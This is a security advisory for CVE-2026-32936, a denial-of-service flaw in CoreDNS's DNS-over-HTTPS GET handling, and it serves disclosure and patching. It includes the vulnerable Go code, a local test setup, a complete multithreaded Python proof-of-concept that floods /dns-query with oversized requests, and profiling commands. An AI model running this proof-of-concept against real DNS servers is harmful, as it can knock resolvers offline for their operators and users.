Advisory

GHSA-63cw-r7xf-jmwr

Also known as: CVE-2026-32936, GO-2026-5164

Summary

CoreDNS DoH GET oversized dns= query parameter causes pre-validation CPU and memory amplification

Details

Summary

CoreDNS's DNS-over-HTTPS (DoH) GET path accepts oversized dns= query values and performs substantial request parsing, query unescaping, base64 decoding, and message unpacking work before returning 400 Bad Request.

A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to /dns-query?dns=... and force high CPU usage, large transient allocations, elevated garbage-collection pressure, and increased resident memory consumption even though the requests are ultimately rejected.

This is a denial-of-service issue caused by expensive pre-validation processing on the DoH GET path.

Details

The vulnerable flow is in plugin/pkg/doh/doh.go:

  • RequestToMsg() dispatches GET requests to requestToMsgGet():
  • plugin/pkg/doh/doh.go:79-89
  • requestToMsgGet() calls req.URL.Query(), extracts dns, and passes it directly to base64ToMsg():
  • plugin/pkg/doh/doh.go:99-108
  • base64ToMsg() decodes the full attacker-controlled value via b64Enc.DecodeString() and only then attempts to unpack it into a DNS message:
  • plugin/pkg/doh/doh.go:121-130

Relevant snippet:

func requestToMsgGet(req *http.Request) (*dns.Msg, error) {
    values := req.URL.Query()
    b64, ok := values["dns"]
    if !ok {
        return nil, fmt.Errorf("no 'dns' query parameter found")
    }
    if len(b64) != 1 {
        return nil, fmt.Errorf("multiple 'dns' query values found")
    }
    return base64ToMsg(b64[0])
}

func base64ToMsg(b64 string) (*dns.Msg, error) {
    buf, err := b64Enc.DecodeString(b64)
    if err != nil {
        return nil, err
    }

    m := new(dns.Msg)
    err = m.Unpack(buf)

    return m, err
}

By contrast, the POST path applies a bounded read before unpacking:

func toMsg(r io.ReadCloser) (*dns.Msg, error) {
    buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536))
    if err != nil {
        return nil, err
    }
    m := new(dns.Msg)
    err = m.Unpack(buf)
    return m, err
}

So, POST is explicitly size-bounded, while GET is not equivalently bounded before expensive parsing and decoding work occurs.

In addition, the HTTPS server is created in core/dnsserver/server_https.go:87-92 without an explicit early GET-path size guard in this path:

srv := &http.Server{
    ReadTimeout:  s.ReadTimeout,
    WriteTimeout: s.WriteTimeout,
    IdleTimeout:  s.IdleTimeout,
    ErrorLog:     stdlog.New(&loggerAdapter{}, "", 0),
}

As a result, oversized DoH GET request targets are processed through:

  1. HTTP request-line parsing
  2. URL query parsing / unescaping
  3. DoH GET extraction
  4. base64 decoding
  5. DNS message unpacking

before the request is rejected.

Root cause

The root cause is missing early size validation on the DoH GET path.

More specifically:

  • requestToMsgGet() performs req.URL.Query() on attacker-controlled oversized request targets.
  • The extracted dns value is passed to base64ToMsg() without an encoded-length or decoded-length bound.
  • base64ToMsg() fully decodes the attacker-controlled string before any DNS-size rejection.
  • The POST path already has an explicit bounded read, but GET does not have an equivalent pre-decode bound.

This creates a pre-validation resource-amplification path for DoH GET.

PoC

Local test setup

I reproduced this locally against CoreDNS 1.14.2 over HTTPS with pprof enabled.

Create a self-signed certificate:

openssl req -x509 -newkey rsa:2048 -sha256 -days 1 -nodes \
  -keyout key.pem -out cert.pem \
  -subj "/CN=127.0.0.1"

Create this Corefile:

https://127.0.0.1:8443 {
    whoami
    log
    errors
    tls cert.pem key.pem
    pprof 127.0.0.1:6060
}

Run CoreDNS:

./coredns -conf Corefile

Proof-of-concept script

#!/usr/bin/env python3
import argparse
import base64
import collections
import concurrent.futures
import http.client
import ssl
import time

def send_one(host, port, path, timeout):
    ctx = ssl._create_unverified_context()
    conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
    try:
        conn.request("GET", path, headers={
            "Accept": "application/dns-message",
            "Connection": "close",
        })
        resp = conn.getresponse()
        resp.read()
        return resp.status
    except Exception as e:
        return f"ERR:{type(e).__name__}"
    finally:
        try:
            conn.close()
        except Exception:
            pass

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=8443)
    ap.add_argument("--decoded-kib", type=int, default=720)
    ap.add_argument("--workers", type=int, default=64)
    ap.add_argument("--requests", type=int, default=5000)
    ap.add_argument("--timeout", type=float, default=5.0)
    args = ap.parse_args()

    raw = b"A" * (args.decoded_kib * 1024)
    b64 = base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
    path = "/dns-query?dns=" + b64

    print(f"[+] target = https://{args.host}:{args.port}")
    print(f"[+] decoded bytes = {len(raw):,}")
    print(f"[+] encoded chars = {len(b64):,}")
    print(f"[+] request-target length = {len(path):,}")
    print(f"[+] workers = {args.workers}, requests = {args.requests}")
    print("[+] 400 responses are expected; the issue is expensive processing before rejection.\n")

    started = time.time()
    results = collections.Counter()

    with concurrent.futures.ThreadPoolExecutor(max_workers=args.workers) as ex:
        futs = [
            ex.submit(send_one, args.host, args.port, path, args.timeout)
            for _ in range(args.requests)
        ]
        for i, fut in enumerate(concurrent.futures.as_completed(futs), 1):
            results[fut.result()] += 1
            if i % 10 == 0 or i == args.requests:
                print(f"[{i}/{args.requests}] {dict(results)}")

    elapsed = time.time() - started
    print("\n[+] done")
    print(f"[+] elapsed = {elapsed:.2f}s")
    print(f"[+] summary = {dict(results)}")

if __name__ == "__main__":
    main()

Run the PoC:

python3 poc_doh_get_oversize_https.py \
  --host 127.0.0.1 \
  --port 8443 \
  --decoded-kib 720 \
  --workers 64 \
  --requests 5000

Profiling commands used during reproduction

CPU profile:

(curl -s "http://127.0.0.1:6060/debug/pprof/profile?seconds=20" -o cpu_attack.pb.gz &) ; \
sleep 1 ; \
python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 ; \
wait

go tool pprof -top ./coredns cpu_attack.pb.gz

Heap / allocation profiles:

curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_before.pb.gz
curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_before.pb.gz

python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000

curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_after.pb.gz
curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_after.pb.gz

go tool pprof -top -base heap_before.pb.gz ./coredns heap_after.pb.gz
go tool pprof -top -base allocs_before.pb.gz ./coredns allocs_after.pb.gz

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-04-28 22:43 UTC
Modified
2026-09-10 03:50 UTC

Affected packages and fixes

github.com/coredns/coredns

Go · All systems

Affected

  • introduced 0, fixed 1.14.3 (semver)

Fixed versions

1.14.3

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences